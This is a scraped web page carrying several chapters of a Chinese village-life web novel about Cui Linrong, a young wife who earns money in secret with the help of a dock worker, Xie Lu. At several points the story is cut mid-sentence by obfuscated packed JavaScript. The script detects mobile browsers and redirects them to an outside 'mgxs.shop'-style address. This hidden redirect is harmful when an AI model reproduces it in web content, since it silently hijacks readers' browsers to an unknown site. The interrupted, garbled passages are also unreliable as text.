崔林容并不介意她们私下说什么,反正别让自己听见就好了,于是转头寻了个安静的地段洗衣裳。 可耐不住总有些看不惯她的,故意将手上的衣裳摔打的厉害,水珠溅到崔林容脸上,她板着脸抬起头:“你能轻点么?!看不见对面的人?” “哟,我当你板个死人脸不会说话呢。” 崔林容:“我只是不和烦人的人说话,再说了,我要是死人脸,你那不成僵尸了?” “你说啥!”那妇人腾一下站了起来。 “不过都是村里的,你还真当自己貌美如花了啊,就算你长得好看又咋样,还不是守空房的命?!” 崔林容冷笑:“那也自在,好比有个糟心的男人强,嫂子,自己个儿过得咋样只有自己心里清楚哈。” 对面那妇人气得头顶冒青烟:“小蹄子你说啥!你这话啥意思!” 崔林容懒得和她吵了,端起盆就准备换地方,那妇人准备追上去,被一旁人拉住了:“你和她计较干啥,她和她那婆婆都不是不好惹的。” “也是……我看啊,她迟早和她婆婆一个样!” 崔林容端着木盆的手紧了紧,咬了咬牙,将心口要骂人的话咽了回去,朝前走了几步,好在没多会儿,跑来一个身影到了她身边:“容娘,好几日不见你了。” 崔林容脸色这才好了点,来人叫银珠,是她在石头村唯一一个好朋友。 “我前几天忙,去了趟镇子上。” 银珠今年十四,看见她总让崔林容想起二丫,银珠看了看对面那几个妇人,小声问:“她们又惹你了?” 崔林容笑了笑:“没有,别说她们了。” 银珠:“好好好,我来是要告诉你个消息,我要嫁人了。” 崔林容动作一顿,“啥,这么快?!哪家啊?” “桃花村的姚木匠家,你知道么?” 崔林容摇头:“我不清楚桃花村的事。” 银珠:“我也不认识,但我娘说,那姚木匠好歹有门手艺,日子肯定不差,虽然比我大八九岁……” “八九岁!”崔林容震惊:“那意思是……” “嗯,我嫁过去续弦的。他还有个儿子。” 崔林容:“……” “没办法呀容娘,我们的婚事哪是能自己做主的?要真能过去过上好日子我觉得都不错了,哪有的挑呢。” 崔林容无话可说。 “行吧,婚事是哪一天,我得给你随个礼。” 银珠抿唇笑:“一个月后,不急的。对了,我娘还说,去桃花村的时候看见崔二了,他是你哥,是不是也要说亲了?” 崔林容“嗯”了一声,“这是我娘的心头大事,本来应该我大哥先的,可谁让我大哥现在变成一头猪,哪里说得上媳妇,估计我娘也死心了,想着给我二哥先张罗。” 因为这个原因,崔家兄弟的婚事都要晚,她一个姑娘家反倒是先出嫁的。 银珠:“我就是要和你说这个,你那娘要给你哥娶媳妇了……不会还来问你要钱吧?” 崔林容愣了一下,苦笑:“我也得有啊,我哪里来的钱。” 银珠:“是了,但你自己可要留个心眼的。” “嗯,知道了,谢谢银珠。” 银珠也算是给她提了个醒,崔林容回去的路上的确在琢磨这事。 要不说这世上的事就是个巧呢,崔林容刚走到自己屋子跟前,就看见她娘胡梦蝶正在门口悄悄摸摸地张望。 崔林容:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278625|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 她娘也算是随了这个名了,年轻的时候被好些村里的汉子追着跑,可惜她娘和王氏不一样,选了个最老实巴交窝囊的男人,现在看上去还没王婆子过的好。 “大丫,你可算回来了!” 胡氏小跑上前,赶忙拉住崔林容的胳膊:“等你半天了!” 崔林容蔫蔫道:“没钱。” 胡氏:“……” “你这丫头,咋和娘说话的,娘能问你要钱?我来看看你。” “还是没钱。” 胡氏:“……” 崔林容:“您要给二哥娶媳妇我没意见,屋头我那房间不早就腾出来了么,但我就一句话,心别太偏了,还有三郎二丫,都是这几年的事。” “你这话说的,都是我生的,咋会偏心了?” 崔林容笑了笑不说话。 “你婆婆不在?” “嗯出去吃席了。” “啧,要我说,还得是我家大丫嫁得好。” 崔林容不可置信看向她:“我嫁得好?” 胡氏:“不然呢!你看看你现在一个人住这么大院子!你婆婆手上不少钱吧?你就干干活还能吃上肉呢!再说了,等周家大郎回来之后你那日子不就飞起来过啊!” 崔林容觉得讽刺,讽刺极了。 “谁告诉你我婆婆手上很多钱?” 胡氏眼睛一转,“不是么!你看你家房梁下还有条腊肉呢!” 原来在这等着,崔林容摇了摇头:“您死心吧,她不会给你借钱的,周家的日子也没你想象的好。” 崔林容眼里漫上一丝迷茫,石头村人人都笑话她,自己亲娘却说她嫁得好,是她的问题还是别人疯了? 胡氏急了:“大丫,你婆婆不肯,你就不能想想办法啊!你二哥都要十八了!” “和我什么关系,我大哥还快二十了,说上媳妇了吗?” “你——你大哥那情况,你不知道啊?” “知道啊,是我造成的?” 胡氏:“……” 两人争了几句,胡氏突然就提了嗓子大声道:“崔大丫!你现在咋成这了,晓得你嫁人了!但平时我们也不来找你啊!这不是大事才开口找你来帮忙了!你倒好,字字句句都是个推诿!” 崔林容似乎对她娘这样大吼大叫已经习惯了:“是,我真没办法,您回去吧,下次别来了。” 胡氏气的够呛,骂骂咧咧走了。 崔林容在院子里坐了会,抹了抹眼泪进屋去了。 和她啥关系啊,她在家里的时候好吃的好穿的从来都轮不上她,周家的彩礼钱一分也没要。 二哥娶妻还要找她。 凭啥了? …… 崔林容睡了一觉,起来的时候眼睛肿了。 心情好些之后,她就准备继续做针线活。反正今天乐得清净,懒得想那么多了,赚钱才是要紧。 给自己赚。 谁都别想要! 不知不觉,崔林容就做了一下午,夕食都没顾得上吃,灶屋上还温着一锅野菜粥,她起身准备去舀一碗垫垫肚子。 刚走到灶屋附近,突然从天而降一个什么东西。 把崔林容吓得魂都要飞了! “嘎嘎嘎!” “咯咯哒!” 仔细一看,原来是一只鸡一只鸭,被人捆了脚扔到她家后院。 接着,墙头传来一声口哨,崔林容转头看去。 “……” 5. 第 5 章 这会儿天才刚刚擦黑,村里其余人家的烟囱还在冒着白烟。 这人竟然就敢大大咧咧翻自家的墙头,崔林容实在有点搞不懂他,自然也是有点生气的。 “你又来做什么?!快下来!” 她压低了声音,本来就在因为白天小河滩那些妇人的话生气,偏生这人还要来招惹她! 传出去,她岂不是真成了那些妇人口中说的模样了?! 崔林容眼睛瞪得大大的,显然动气了,谢禄从墙头一跃而下,站在她面前,崔林容登时又后悔了,让他下来做啥?应该让人走才对! “你到底要干嘛?”崔林容心虚地看了周围好几眼,是生怕王氏突然开门回来。 谢禄一副随心所欲的模样:“我今儿又上山去了,又磨破了一双鞋,来问问你有没有做好的,晓得打搅你了,这不是送来鸡鸭,算是多加的报酬。” 崔林容无奈了。 原来还是为了这事。 “你等一下,我去给你取!” 好在是正经事,崔林容转头回去就给谢禄取了一双,她不是个喜欢拖延的性子,因为答应了人家,从昨个儿开始就在赶工,正巧还就做完了。 谢禄眼神一亮:“多谢了。这你收下。” 崔林容却是摇头:“我不要,你拿回去吧。” 谢禄眉头一挑:“嫌少?” 崔林容:“不是,我家情况特殊,你不如兑换成钱,我婆婆回来了肯定问这是哪里来的,我说不清。” 谢禄懂了。 他已经是第二次来崔家了,早就将这个一眼能望穿的小院子看了个干净,穷得叮当响,面前人虽然好看,但也瘦的要命。 他没啥别的想法,单纯就想给她喂点吃的。 谢禄突然道:“你做饭手艺咋样?” 崔林容:? “干嘛突然问这个。” 谢禄:“你不是想赚钱吗,我给你介绍个营生。” 崔林容想了想,转头去灶屋拿了俩包子给他:“你尝尝吧。” 谢禄倒是也不客气,接过之后就咬了一大口,接着眼神一亮:“手艺不错。” 崔林容:“啥营生,该不会和做吃食有关系?” 谢禄:“不笨嘛。是这,我家没个婆娘和老娘,但是还有俩弟弟,平时吃食啥的弄得糙,你来我家做饭吧,一天一顿就行,一天二十文。” 崔林容:“!你疯了呀?” “咋了,这比你单纯做鞋子缝鞋垫赚钱吧?” 崔林容:“是这个原因吗!你家在后山上,我一来一回得多长时间,你咋想的?再说了,我哪里来的时间,咋和我婆婆说啊……” 谢禄皱起眉头,这倒也是。 “那你做,我来买。” “也不成,会被发现的,我赚钱的事情传出去,我就一个子别想捞了。” 咋这麻烦。谢禄啧了一声。 崔林容:“行了,暂时就这样吧,你快走了,以后多照顾我生意,或者介绍人来买我的东西就行。” 谢禄深深看了她一眼,弯腰捡起了那两只鸡鸭,一言不发地转身走了。 崔林容瞧着他这么大的块头,翻起墙来倒是灵活的怪……她搞不懂这个人,两人好像还并没熟悉到这个地步。 倒是谢禄,从崔家走之后熟门熟路又去了一家,对方叫铁柱,看见谢禄之后眼神一亮:“谢哥,你咋来了。” 谢禄笑了笑:“和你打听个事。” - 王氏是大半夜的时候回来的,崔林容真是怕了她又带回什么人来。 这次倒是没带人,却也弄出不小的折腾,刚进门,王氏就开始喊叫了。 “娘,你咋了这是?”崔林容跑出去看,发现王氏坐在堂屋哼哼唧唧的。 仔细一看,脸上还有红印子和淤青。 崔林容吓了一跳:“你和人打架了?!” 王氏骂骂咧咧起来:“那不要脸的叶家小蹄子,老娘我非要报这个仇不可,哎哟喂,疼死我了,容娘,你天亮之后去给我请个大夫来!” 崔林容能确定,王氏这是被人打了,叶家?说的是叶大强? 叶大强的婆娘刘霞是村里有名的泼妇,且把叶家的男人看得都紧,这是…… “娘,是刘霞动手的?” “废话,老娘没招她没惹她的,这次我不让她大出血,算是怪!” 崔林容:“……” 她自是不相信没招没惹这个说辞的,想也知道是个啥情况,无非就是王氏和叶家哪个男人又招惹上了,刘霞才动手的。 “村里的大夫吗?” 王氏:“镇子上的!去镇子上请!抓贵的药!” 崔林容吓了一跳:“咱们哪里来的钱?” 王氏顺手就给她摸了一个钱袋子:“拿去用,回来报账。” 崔林容懂了,王氏这是要狠狠讹一笔叶家的,这才愿意花大价钱。 “行,那你今晚先歇着吧。” 崔林容给王氏断了盆热水来,接着就回屋去继续做针线活了。 既然明天要去镇子上,她干脆就把那个男人的东西给赶一赶,早点做完早点拿到钱。 - 第二天一大早,崔林容就出发了。 昨个儿后半夜的时候她并没听见王氏哼哼,想来并没啥要紧,早上出发之前崔林容也去看了,醒来之后才开始喊着这里痛那里痛。 王氏让她去镇子上请大夫,估计自己也要在村里张罗一顿,喊个郎中上门哭一通是免不了的。 崔林容懒得管这些糟心事,收拾东西就去镇子上了。 出门出的早,刚到镇子上的时候日头才出来,晒得人暖烘烘的,崔林容找到一家同仁医馆的说明了情况,那大夫收钱之后就准备去石头村了。 “诶,你不和我一道去?” 崔林容摇了摇头:“大夫,您自己个儿去吧,我就不去了,我还有点事。” “那我咋个晓得路呢?” 崔林容:“石头村小,您到路口打听一下就行,要是我婆婆问起来,您就说我去集市上卖野菜和柴火去了。” 那郎中点头:“那也行。” 崔林容好不容易来一回镇子上,当然是不打算这么早回来,她背篓里的确有几把蕨菜,但这不是她的主要目的,崔林容转头就往码头走,去找那个姓谢的男人。 谁知刚走了几步,她就被人伸手抓住了。 “你干啥!” 崔林容一回头就看见了崔二郎气急败坏的样子。 “你抓疼我了!”崔林容挣脱对方,崔二郎道:“娘去找你借钱为啥不借?娘昨天回去都说了。” 崔林容:“你在放什么狗屁!我哪里来的钱!” “你撒谎,你先前自己偷偷赚钱偷偷攒钱!我能不知道?!” 崔林容笑了:“我才赚几个铜板,还要给你分,那照你这么说,你也有钱了咋不见得拿出来?!” 崔二郎一噎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278626|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔林容:“咋了,花了吧?你们这些人真搞笑,说的好像就你们花钱,我一天或者就可以不吃不喝不用钱了?你娶媳妇要我出钱,啥道理?!没钱,松手!” 崔二郎:“行行行,不问你要钱,那我借你点总行?二十文有吧?” “没有!一个铜板也没有!”崔林容狠狠在崔二郎胳膊上抓了一把,崔二郎疼得直嗷嗷,“崔林容,你现在真是好样的!” 崔林容理都不理他,转身就走了。 到码头的时候才巳时,这里人多,闹哄哄的,虽然在河边,但是空气中都弥漫着一股闷热的味道,夹杂着男人的汗味。 月牙镇紧邻月牙河,又是四面环山,大部分货走水运比陆运要便宜的多,码头上的货船络绎不绝,很多男人家都会在这扛大包。 谢禄昨个儿让她来这里找,想来也是在做这个活计。 崔林容站在人群中张望,一时没看见那个熟悉的身影,但谢禄个子高,找起来不难。身边一个个男人经过,大部分人就穿了个褂子,露出胳膊,黝黑的皮肤让崔林容有些压迫感。 “这谁家的小媳妇,找你男人啊?”有人注意到了崔林容,忍不住打趣道。 崔林容刚要说话,一道身影嗖地一下就蹿了过来—— “一边去儿!” 谢禄果然出现,一肘子就把对方给挤开了。 那人愣了一下:“谢禄,你家的啊?” “管得着吗?!”谢禄眉毛一瞪,那人就缩着脖子走了。 崔林容:“……抱歉,没打招呼就来了。” 谢禄盯着人,忽然咧嘴笑了:“这要打啥招呼?你跟我来!” 他领着人,七拐八拐地就从人群中挤了出去,有谢禄在前面开路,崔林容压根不需要挤,大摇大摆地走就成。 带着崔林容到了一处僻静地方,谢禄才问:“找我啥事?” 崔林容从篮子里拿出三双鞋子塞给他:“今天要来镇子上就提前做完了。” 谢禄有些意外:“倒也不至于这么急,你昨晚上没睡觉啊?” “睡了,我手快。” 谢禄了然,收下了。 “合该给你多少钱?” 崔林容:“一双十五文,四双六十文。不过……之前说的那个,还算数吗?” 谢禄挑眉:“哪个啊?” “就是你之后帮我卖东西……” 崔林容叹气:“我和我娘家闹翻了,我二哥那边肯定不成了。要是还算数,你就不用给了,之后帮我就行。” 谢禄望着人,“你说算数就算数。” “行,那下次我来大概是五天之后吧,看能做多少东西。” 谢禄低头掏出一袋子钱,“伸手。” 崔林容:“……不是说了不用吗?” “一码归一码,这次先给你,不然你哪里来的钱买布,快收着别啰嗦了。” 这倒是事实,她得买布买针,家里那针也要不行了,她老早之前就还想买个顶针了。 “那,你不行给五十吧,算你熟人价。” 谢禄忽然笑了:“你这脑瓜子不行啊,咋能这样做生意呢,我不是还叫你加急了。这钱你都不算进去还要给我少钱?笨不笨?” 崔林容被他说得愣了一下,也有些懊恼:“那七十!” 谢禄笑得更开心了:“那也不行,你报价之后反悔客人不认账,我也不是冤大头啊。” 崔林容:“……” 6. 第 6 章 六十就六十,崔林容倒也不是那么小气的人,只是有种被谢禄戏耍了的恼怒,但真拿到钱,她又忍不住笑了。 凭自己本事赚来的钱,别提多高兴了。 谢禄瞧在眼里,眼底也闪过了一丝笑。 “你今儿来镇子上,就为了这事?” 崔林容这才想起正事:“不是,我给我婆婆请郎中,顺带给你送,我得走了,已经耽误了时辰。” “诶诶诶,急啥,既然来都来了,我昨个儿说的钱你赚不赚?” 崔林容:“?” 她反应过来谢禄的意思,很是惊讶。 “不是都说了不成,你咋想的啊。” 谢禄:“你着啥急,我都没说完,我没说让你去山里头,就在镇子里。” 就在镇子里?崔林容更纳闷了,谢禄道:“我家还有个小子,在镇子上念书,我嫌他一来二去回去麻烦,在镇子上租了个小房子。” 崔林容睁大了眼:“啥、啥……你居然在镇子上租房子,还供个读书人?!” “嗯,不过就半年的事情,他基础差,只能在启蒙的私塾里面念,等明年有基础就只能送到书院去,吃喝都在那边,只给夫子束脩就行。” 这是重点吗?! 崔林容关心的也不是这个啊! 都是村里的泥腿子,能供得起读书人,那都是大户人家了!一年要花多少银子!面前的男人…… 崔林容的表情简直精彩极了,谢禄瞅得想笑:“你想问啥就直说。” “你、你看着年纪不大,都有这么大的儿子了?” 谢禄没想到她会问这个,愣了一下,随即大笑。 “谁告诉你是我儿子了?!我个穷光蛋,连媳妇都娶不起。” 谢禄也不多说了,直接带着人就朝一偏巷里面走,崔林容也是胆子大,不多问就跟了过去,今天时间反正耽误了,耽误就耽误了,回头再想说辞去。 七拐八拐的,两人就到了一间矮房子。 谢禄刚才说是个小屋子,现在看来,的确是小。 就一间房,隔壁一间灶屋一间茅房,连个院坝都没有,屋里人听见动静之后抬腿就跑了出来。 “大哥!” 只见一个十一二岁左右的娃子蹦跳着跑了出来,崔林容听见这声大哥之后便懂了,原来不是儿子,是弟弟。 三郎今年八岁,这小娃看着比三郎大,崔林容的眉眼也柔和下来。 谢禄揉了一把臭小子的头:“喊姐,容姐。这是狗蛋,我弟。” 谢狗蛋乖巧极了,立刻喊人:“容姐姐!” 崔林容:“狗蛋……不用客气。” 谢禄大大咧咧道:“我是个粗人,不会侍弄吃食,你要是有空过来给做顿饭,一顿算你二十文的辛苦费。你考虑一下?” 崔林容都无奈了,这人真真是个怪人! 自己穷的穿草鞋、扛大包,偏生还供弟弟读书,二十文,出去吃也能混个饱饭!咋想的到底? 但崔林容转念一想,这活不麻烦,做顿饭嘛谁不会,她在家给婆婆做饭一文钱都没有,不去山上来镇子上,这事好像也没什么毛病。 不过,真要让她收二十文,崔林容心里过意不去。 “你给个五文钱就得了,用钱这么大方,以后日子不过了?” 这个人还笑话她脑子不好使呢,要她说,这才是个傻子! 个子高脑瓜子笨! 谢禄满脸复杂,崔林容已经挽起袖子进了灶屋,看得出,这边还是经常生火的,东西啥都有,不过……他们哥俩就吃这啊! 锅里面一大盆黑乎乎的不知道是啥东西,仔细看了才晓得,原来是野菜粥,大概是茼蒿、荠菜还有什么东西看不清楚混了一锅杂粮煮的。 难怪谢禄要请她来…… 这玩意,是人吃的?! 对上崔林容不可置信的眼神,谢禄轻咳嗽了一声,接着走到灶屋角落扒拉出来了一袋粮食:“煮米饭,想吃米饭了。菜你等会儿,我现在去买。罐子里面还有几个鸡蛋。” 崔林容:“……白米饭?” “对。” “你这个人……你家是什么官老爷出身吗,还吃大米饭呢!今天吃大白米,明天喝西北风是吧!要我做饭的话就听我的!” 崔林容忍无可忍,舀了半瓢白米半瓢豆子,“吃豆饭!” 谢禄愣了一下,谢狗蛋在门口张望着看热闹,谢禄咬了咬牙:“行。” 谢狗蛋十分惊讶,太阳打西边出来了,他从来没见过大哥这么好说话的时候…… 谢禄走出灶屋,一只手就将人拎了出去:“看书去!我去买菜!” 谢狗蛋吐了吐舌头,不敢忤逆他哥,谢禄则直接出门,没多会儿功夫,提着一条五花肉和十个鸡蛋回来了。 崔林容瞧见了,差点仰过去! “你——” “容娘,我得吃肉啊,肚子饿的不成了,你别看我家房子小穿得不讲究,我可没饿过肚子,狗蛋牛蛋也没有。” 牛…… 崔林容:“你两个弟弟啊?” 谢禄:“对,还有一个在家里头,那个脑子笨力气大,不是读书的料,就在家里头干活计,容娘你快些做成不,肚子太饿了。” 崔林容:“……” 又是肉又是蛋的,这一顿下去不知道要吃多少,难怪肯花二十文请她来做。 “吃多少,三分之一可以吧,剩下的明后天吃,放不坏。” 谢禄睁大了眼:“全做。” 崔林容眼睛瞪得比他还大,怀疑自己听错了! …… 两刻钟后,崔林容就后悔了! 这一条红烧肉至少六七斤,哪有人一顿就要吃完的?崔林容做的红烧肉,切肉都把她累得够呛,更别说炖肉炒菜…… 大锅铲子比王家的大多了,抡起来都费力气!她在这边累的眼冒金星,再看院子里头—— 两人捧着碗吃的呼哧作响,谢禄端着的那已经不能称作碗了,盆才差不多! 他一个大男人倒是也罢了,为啥狗蛋也那么能吃?! 崔林容不明白,真的不明白,啥家庭啊,敢这么吃! 难怪,难怪要她来做饭,请她不过掏二十文,这要是出去吃,不得上百文啊! 要是让他们自己个儿做,那都白瞎好食材了! 加钱!应该加钱的! 崔林容累极,胳膊都酸了,再看谢禄已经放下了碗筷,舔了舔嘴角,甚至还一副没有吃饱的样子! “容娘,下回别省米了,没吃够……” 狗蛋跟着附和:“我哥可能吃了!” 崔林容:“……” 她忍了忍,没说啥,“时间不早了,我要走了。” 谢禄:“急啥,你还没吃。” 说着,就在崔林容震惊的眼神中推出一个碗,里面冒冒一碗红烧肉盖着大白饭,“提前给你留出来的,哪能让你做饭还饿着肚子回去的道理。” “就是,容姐,快过来吃呀!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278627|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 崔林容不知道为什么,突然鼻子一酸。 临走时,她心情柔软了许多,也不累了,有油水的东西下肚就是让人心里满足。 谢禄给她掏了十文:“五文太少了,你也看见我们家的饭量了,收着吧,你做饭手艺好,下回可再来?” 崔林容没矫情,接了:“有机会我就来。” 谢禄:“其实你来镇子上赚钱的事情不必瞒着你婆婆,但要看你咋个说。” “啥意思?” 谢禄教她了一通,崔林容睁大了眼。 沉默一息。 崔林容抿唇道:“谢谢你,谢大哥。” 谢禄笑了:“怪怪的,直接喊我谢禄吧。” “哪个禄?福禄寿喜的禄吗?” 谢禄愣了一下,眼神变得幽深:“你晓得?” “嗯呢,怪吉利的。” “一般人只说是碌碌无为的碌。” 崔林容笑了:“你就扯吧,大部分人肯定以为是大路的路,碌碌无为啥意思他们晓得不?” 谢禄没反驳,只是深深看了她一眼。 崔林容被他看得毛毛的,别开眼:“我走了,不必送。” 谢禄点头,没再说话。 - 崔林容坐着牛车回石头村的时候都快未时了。 但周家才将将和叶家掰扯完。 和她猜的不错,早上她前脚走,王氏后脚就叫了村里的郎中来,问就是痛,治不好的痛。村里郎中哪里不懂,摇着头走了,只说没办法。 没多会儿,镇子上的郎中去了,没多会儿,叶家人叫着村长来了。 王氏也是村里有名的泼妇了,没人想招惹。 今天叫着村长,显然也是想息事宁人,王氏眉头一挑,狮子大开口:“我哪里都痛!医药费一两,再赔一只大母鸡,这事才算完!” 此话一出,刘霞差点跳起来:“你失心疯了?!一两银子?我们家一年也赚不到二两!” 王氏也不跟她掰扯,直接就躺到地上哼唧:“打人了……心口痛……大夫你快给我看看,我是不是要死了……” 郎中:“……” 石头村的村长姓陈,叫陈大牛,都是一道生活几十年的人了,哪里看不出王氏的心思。 “王嫂子,我看差不多得了,我做主,二百文加二十个鸡蛋,这事算了。” “凭啥算了!”王氏喊道,“昨个儿我好生吃席,还随礼了呢!她倒好,不分青红皂白往我身上泼脏水就算了,还打人!没完没完这事没完!不成就去见官!我不信没个地方说理的!” 叶家当家的叫叶大根,算是一家之主,昨个儿和王氏其实也就多看了两眼,没啥事情。但刘霞平时嫉妒心极强,把叶家的男人都管的服服帖帖的,昨个儿才一时上火,做了这事。 这事吧,的确是刘霞理亏。 叶老二是叶大根的弟弟,此时道:“王嫂子,一两银子太多了,三百文三十个鸡蛋,成吧?我们主动加点。” “老二你……” 王氏这才看向叶老二,眯了眯眼。 她心里很清楚一两银子是过分了些,眼下叶家有个人愿意给她递台阶,也就顺着下了:“成,给现钱,不赖账。” 叶老二在县城里混,才回来没几日,身上算有点钱,当下也就替他大哥付了。 王氏收了钱,数了好几遍,这才站起来:“哼,这钱算是给你买个教训,以后少惹老娘。” 刘霞气了个半死,差点昏了过去。 7. 第 7 章 崔林容回来的时候恰逢叶家人骂骂咧咧离开,她听了个大概。 回到周家的时候,王氏正在屋子里数钱,看见门口的人之后斜了一眼:“干啥去了?!回来这么晚!” 崔林容早就想好了借口:“牛车满了,让郎中先上车,我自己等了下一趟,半晌都没凑够人。” 来村里的牛车都要等够了人之后才能走,王氏听了之后这才道:“行吧,赶紧烧饭,饿死了!” 崔林容也没说什么,转头去了。 家里灶屋上多了一篮子鸡蛋,想也知道是叶家送来的。 王氏果然道:“把鸡蛋吃了,和野葱一道炒,好些日子没吃炒鸡蛋了!” 崔林容其实一点不饿,刚才在镇子上吃了红烧肉,还是肉香,鸡蛋再好吃,也比不上肉。 但她依然什么都没说,手脚麻利地把饭菜做好端上桌,看了眼王氏,趁着她心情不错的时候开口了:“娘,今天我在镇子上找了个活计,给一家饭馆洗碗拾掇灶屋,两个时辰给六文钱,我寻思接下来,除去来回车费,我还能赚四文,我要是拿到了,给你分两文,咋样?” 王氏:“啥?!两个时辰才给六文?!不行!你要去了,家里的活计谁干?地里的活计谁干啊!” 崔林容:“侍弄田这事我做不好,去了也是浪费时间,不成就租出去,村里种地的人这么多,带着侍弄咱们的,到时候粮食和他们分就好了,你让我去,一年到头粮食可能还不够,钱也赚不到了,还不如让我给自己找点别的出路。” 王氏眼睛咕噜一转,这话说的倒也对…… “那家里呢!你指望我?!” “家里其实也没啥要紧,衣裳您放着我回来洗就是,鸡鸭每天出去我喂了,就晌午一顿饭食,早上我多做些,您将就一下呗,毕竟一天能赚四文钱呢。” 王氏此时已经算过这个账算了,一天四文,看着不多,但一个月也是一百多文,那可是实打实赚到的。 但是她眉头一挑:“那不成的,你自己还想留两文?!你留一文钱,给我三文!” 崔林容叹气:“我还没说完,我还想给人纳点鞋垫子赚钱,既然去了镇子上,那总要对得起这个车费才是。另外,我还打算每天背点柴火和野菜去卖。您总得让我手上留点钱周转吧?” 王氏很是意外地看向自己这个儿媳妇,似乎在思忖和犹豫。 崔林容也很是紧张,不晓得这样行不行。 不过好在王氏也清楚,兔子急了也会咬人,于是想了一会儿哼道:“家里的活计不能耽误,晌午那顿饭我将就一下就将就了,你固定收入给我分两文,其余赚的钱另外分!” 崔林容狠狠松了口气,分就分,反正赚了多少谁知道。当下是要先走出去。 “对了,要我说,田可以直接承包给丁家,他们儿子多。” 王氏眉头一跳,计上心头,但还是一句话没吭。 “这你别管了,我自己有打算。” 崔林容压根也懒得管,她早不想下地了,每次下地,总有人不怀好意地盯着她。 这下好了,事情算是解决了,谢禄的法子还真挺好使。 - 第二天一大早,崔林容起得比往常还早。 侍弄鸡食鸭食,挑水浇地,烧火煮饭,一顿忙下来,才是平时起来的时候。 王氏打着呵欠出来的时候愣了一下,随即撇了撇嘴:“就这么着急?你莫不是骗我在镇子上赚大钱吧?” 崔林容愣了一下,镇定道:“娘说笑了,我一个村妇能有啥本事,就在平安饭馆,您要是不信打听去打听就是。” 王氏看了她一眼:“我信你,说白了,咱娘俩不就一条船上的嘛,娘还能怀疑你?” 崔林容不说话。 因为觉得这话虚伪的很,心里不舒服。 而且,她也不想和王氏一条船。 崔林容收拾完碗筷后就准备出门了,墙角堆着她昨天下午去挖的一些野菜,她全给收进了背篓,这些野菜镇子上虽然收的便宜,但一斤一文还是能卖出去的。 再来两个竹框,又是两文钱进账。 崔林容掐着时间上了第一趟牛车。 这时候天还没亮全乎。 车上还有个妇人,瞧着……却是面生。 对方也在看她,两人年岁差不多大,彼此点了点头算是打了个招呼。 赶车的人叫这宋发达,这会儿在村口又等了一会儿才道:“啧,今儿人不多啊,估计拉不满了,走吧!” 崔林容心里挺高兴,这样不用和太多人挤。 车上就她和那个小妇人,对方忽然看见她的背篓了,问道:“这是榆钱?还有蕨根吗?” 崔林容低头看了眼:“嗯对,怎么了,你收吗?” “怎么卖?” 崔林容想了想:“你要的话一文钱两斤,省的我去集市上卖了。” 省时间又省了事情,成本就能便宜些。 “你卖得挺便宜啊,我看看新鲜吗?” “昨天才摘得,顶新鲜,你随便挑。” 崔林容直接把背篓放在她跟前,那女子伸头看了几眼,摸了摸,眼神一亮:“下面还有白茅根和薜荔果呢!可惜了,不多就是。” 崔林容:“这有啥子用?也能卖吗?” 那女子睁大眼:“当然可以了,这白茅根可以煮糖水喝,薜荔果更值钱了,可以做木莲羹呢!这榆钱我收来也是要做榆钱糕的。” 崔林容还是第一次听说,忙追问:“能卖多少啊?” 那女子看了她一眼,笑道:“白茅根若是品相好的,一斤两文钱,薜荔果如果是雄果,我四文钱收,不确定是雌雄的,就也是两文。” 啥果子还分雌雄! 崔林容第一次听说。 对方笑眯眯掏出钱袋:“你这一筐的榆钱和蕨根我都要了,你算算,这些白茅根和薜荔统共没几个,你直接送我吧?” 崔林容想了想,点头:“成!我给你称!” 她很快称出来这一筐大概就八斤多,收了那女子四文钱,那女子见她也爽快,多给了一文。 “五文吧,出门也不容易。” 崔林容笑道:“多谢您了,请问贵姓?” 对方笑了笑:“我姓高,你若是之后想找我,去月牙镇的明月点心坊找我就好。” 崔林容点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278628|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“我记下了。” 原来是做点心的,难怪知道这么多,茅根煮糖水、榆钱做榆钱糕,还有那个什么木莲羹……她都根本没听过。 但崔林容细心,一一记下。 没到镇子上就把野菜卖了,她心情颇好,可到了镇子上之后,崔林容又傻眼了。 